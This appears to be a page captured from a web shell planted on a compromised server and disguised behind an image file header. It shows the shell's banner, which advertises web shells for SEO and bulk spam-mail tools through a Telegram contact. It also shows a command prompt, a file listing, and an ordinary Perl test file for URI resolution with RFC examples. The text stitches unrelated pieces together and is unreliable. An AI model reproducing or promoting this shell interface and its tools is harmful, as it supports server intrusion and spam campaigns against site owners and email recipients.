����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use strict;
use warnings;

use Test::More tests => 45;

# This test the resolution of abs path for all examples given
# in the "Uniform Resource Identifiers (URI): Generic Syntax" document.

use URI ();
my $base = "http://a/b/c/d;p?q";
my $testno = 1;
my @rel_fail;

while (<DATA>) {
   #next if 1 .. /^C\.\s+/;
   #last if /^D\.\s+/;
   next unless /\s+(\S+)\s*=\s*(.*)/;
   my $uref = $1;
   my $expect = $2;
   $expect =~ s/\(current document\)/$base/;

   my $bad;
   my $u = URI->new($uref, $base);
   if ($u->abs($base)->as_string ne $expect) {
       $bad++;
       my $abs = $u->abs($base)->as_string;
       diag qq(URI->new("$uref")->abs("$base") ==> "$abs");
   }

   # Let's test another version of the same thing
   $u = URI->new($uref);
   my $b = URI->new($base);
   if ($u->abs($b,1) ne $expect && $uref !~ /^http:/) {
       $bad++;
       diag qq(URI->new("$uref")->abs(URI->new("$base"), 1));
   }

   # Let's try the other way
   $u = URI->new($expect)->rel($base)->as_string;
   if ($u ne $uref) {
       push(@rel_fail, qq($testno: URI->new("$expect", "$base")->rel ==> "$u" (not "$uref")\n));
   }

   ok !$bad, "$uref => $expect";
}

if (@rel_fail) {
    note "\n\nIn the following cases we did not get back to where we started with rel()";
    note @rel_fail;
}



__END__

Network Working Group                            T. Berners-Lee, MIT/LCS
INTERNET-DRAFT                                 R. Fielding,  U.C. Irvine
draft-fielding-uri-syntax-02              L. Masinter, Xerox Corporation
Expires six months after publication date                  March 4, 1998


          Uniform Resource Identifiers (URI): Generic Syntax

[...]

C. Examples of Resolving Relative URI References

   Within an object with a well-defined base URI of

      http://a/b/c/d;p?q

   the relative URIs would be resolved as follows:

C.1.  Normal Examples

      g:h           =  g:h
      g             =  http://a/b/c/g
      ./g           =  http://a/b/c/g
      g/            =  http://a/b/c/g/
      /g            =  http://a/g
      //g           =  http://g
      ?y            =  http://a/b/c/d;p?y
      g?y           =  http://a/b/c/g?y
      #s            =  (current document)#s
      g#s           =  http://a/b/c/g#s
      g?y#s         =  http://a/b/c/g?y#s
      ;x            =  http://a/b/c/;x
      g;x           =  http://a/b/c/g;x
      g;x?y#s       =  http://a/b/c/g;x?y#s
      .             =  http://a/b/c/
      ./            =  http://a/b/c/
      ..            =  http://a/b/
      ../           =  http://a/b/
      ../g          =  http://a/b/g
      ../..         =  http://a/
      ../../        =  http://a/
      ../../g       =  http://a/g

C.2.  Abnormal Examples

   Although the following abnormal examples are unlikely to occur in
   normal practice, all URI parsers should be capable of resolving them
   consistently.  Each example uses the same base as above.

   An empty reference refers to the start of the current document.

      <>            =  (current document)

   Parsers must be careful in handling the case where there are more
   relative path ".." segments than there are hierarchical levels in
   the base URI's path.  Note that the ".." syntax cannot be used to
   change the authority component of a URI.

      ../../../g    =  http://a/../g
      ../../../../g =  http://a/../../g

   In practice, some implementations strip leading relative symbolic
   elements (".", "..") after applying a relative URI calculation, based
   on the theory that compensating for obvious author errors is better
   than allowing the request to fail.  Thus, the above two references
   will be interpreted as "http://a/g" by some implementations.

   Similarly, parsers must avoid treating "." and ".." as special when
   they are not complete components of a relative path.

      /./g          =  http://a/./g
      /../g         =  http://a/../g
      g.            =  http://a/b/c/g.
      .g            =  http://a/b/c/.g
      g..           =  http://a/b/c/g..
      ..g           =  http://a/b/c/..g

   Less likely are cases where the relative URI uses unnecessary or
   nonsensical forms of the "." and ".." complete path segments.

      ./../g        =  http://a/b/g
      ./g/.         =  http://a/b/c/g/
      g/./h         =  http://a/b/c/g/h
      g/../h        =  http://a/b/c/h
      g;x=1/./y     =  http://a/b/c/g;x=1/y
      g;x=1/../y    =  http://a/b/c/y

   All client applications remove the query component from the base URI
   before resolving relative URIs.  However, some applications fail to
   separate the reference's query and/or fragment components from a
   relative path before merging it with the base path.  This error is
   rarely noticed, since typical usage of a fragment never includes the
   hierarchy ("/") character, and the query component is not normally
   used within relative references.

      g?y/./x       =  http://a/b/c/g?y/./x
      g?y/../x      =  http://a/b/c/g?y/../x
      g#s/./x       =  http://a/b/c/g#s/./x
      g#s/../x      =  http://a/b/c/g#s/../x

   Some parsers allow the scheme name to be present in a relative URI
   if it is the same as the base URI scheme.  This is considered to be
   a loophole in prior specifications of partial URIs [RFC1630]. Its
   use should be avoided.

      http:g        =  http:g
      http:         =  http:


--------------------------------------------------------------------------

Some extra tests for good measure...

      #foo?        = (current document)#foo?
      ?#foo        = http://a/b/c/d;p?#foo


Filemanager

Name Type Size Permission Actions
00-report-prereqs.dd File 3.7 KB 0644
00-report-prereqs.t File 5.88 KB 0644
abs.t File 5.44 KB 0644
clone.t File 331 B 0644
cwd.t File 176 B 0644
data.t File 2.28 KB 0644
escape-char.t File 613 B 0644
escape.t File 2.88 KB 0644
file.t File 3.61 KB 0644
ftp.t File 803 B 0644
ftpes.t File 231 B 0644
ftps.t File 230 B 0644
generic.t File 3.71 KB 0644
geo_basic.t File 1.72 KB 0644
geo_construct.t File 2.1 KB 0644
geo_point.t File 429 B 0644
gopher.t File 1020 B 0644
heuristic.t File 3.35 KB 0644
http.t File 1.08 KB 0644
icap.t File 1.08 KB 0644
idna.t File 503 B 0644
ipv6.t File 220 B 0644
irc.t File 890 B 0644
ircs.t File 239 B 0644
iri.t File 2.71 KB 0644
ldap.t File 2.38 KB 0644
mailto.t File 2.34 KB 0644
mix.t File 1.44 KB 0644
mms.t File 555 B 0644
news.t File 1.01 KB 0644
num_eq.t File 389 B 0644
old-absconf.t File 730 B 0644
old-base.t File 34.04 KB 0644
old-file.t File 2.71 KB 0644
old-relbase.t File 748 B 0644
otpauth.t File 8.33 KB 0644
path-segments.t File 1000 B 0644
pop.t File 828 B 0644
punycode.t File 2.22 KB 0644
query-param.t File 1.96 KB 0644
query.t File 3.29 KB 0644
rel.t File 541 B 0644
rfc2732.t File 1.86 KB 0644
roy-test.t File 936 B 0644
roytest1.html File 7.32 KB 0644
roytest2.html File 3.56 KB 0644
roytest3.html File 3.01 KB 0644
roytest4.html File 3.63 KB 0644
roytest5.html File 3.28 KB 0644
rsync.t File 263 B 0644
rtsp.t File 651 B 0644
scheme-exceptions.t File 480 B 0644
scp.t File 283 B 0644
sftp.t File 285 B 0644
sip.t File 2.23 KB 0644
smb.t File 838 B 0644
smtp.t File 954 B 0644
sort-hash-query-form.t File 354 B 0644
split.t File 994 B 0644
sq-brackets-legacy.t File 1.08 KB 0644
sq-brackets.t File 8.01 KB 0644
ssh.t File 283 B 0644
storable-test.pl File 577 B 0644
storable.t File 234 B 0644
urn-isbn.t File 746 B 0644
urn-oid.t File 278 B 0644
urn-scheme-exceptions.t File 525 B 0644
userpass.t File 429 B 0644
utf8.t File 543 B 0644
ws.t File 1.06 KB 0644